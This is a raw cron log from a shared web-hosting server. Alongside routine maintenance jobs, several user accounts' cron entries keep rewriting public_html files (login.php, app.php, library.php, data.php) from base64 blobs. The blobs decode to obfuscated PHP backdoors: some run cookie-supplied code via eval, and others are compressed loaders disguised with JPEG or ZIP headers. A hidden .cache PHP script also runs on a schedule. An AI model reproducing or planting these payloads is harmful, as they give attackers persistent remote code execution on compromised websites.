Mar  1 08:03:02 medusa CROND[10403]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:03:02 medusa CROND[10410]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:04:01 medusa CROND[30609]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:04:01 medusa CROND[30610]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:04:01 medusa CROND[30611]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:04:01 medusa CROND[30612]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:04:01 medusa CROND[30613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:04:01 medusa CROND[30614]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:04:01 medusa CROND[30615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:04:01 medusa CROND[30616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:04:01 medusa CROND[30617]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:04:01 medusa CROND[30618]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:04:01 medusa CROND[30619]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:04:01 medusa CROND[30622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:04:01 medusa CROND[30624]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:05:02 medusa CROND[21332]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:05:02 medusa CROND[21403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:05:02 medusa CROND[21410]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:05:02 medusa CROND[21411]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:05:02 medusa CROND[21412]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:05:02 medusa CROND[21413]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:05:02 medusa CROND[21414]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:05:02 medusa CROND[21416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:05:02 medusa CROND[21415]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:05:02 medusa CROND[21418]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:05:02 medusa CROND[21417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:05:02 medusa CROND[21420]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:05:02 medusa CROND[21422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:05:02 medusa CROND[21425]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:05:02 medusa CROND[21421]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 08:05:02 medusa CROND[21429]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:05:02 medusa CROND[21432]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:05:02 medusa CROND[21434]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:05:02 medusa CROND[21443]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:05:02 medusa CROND[21447]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
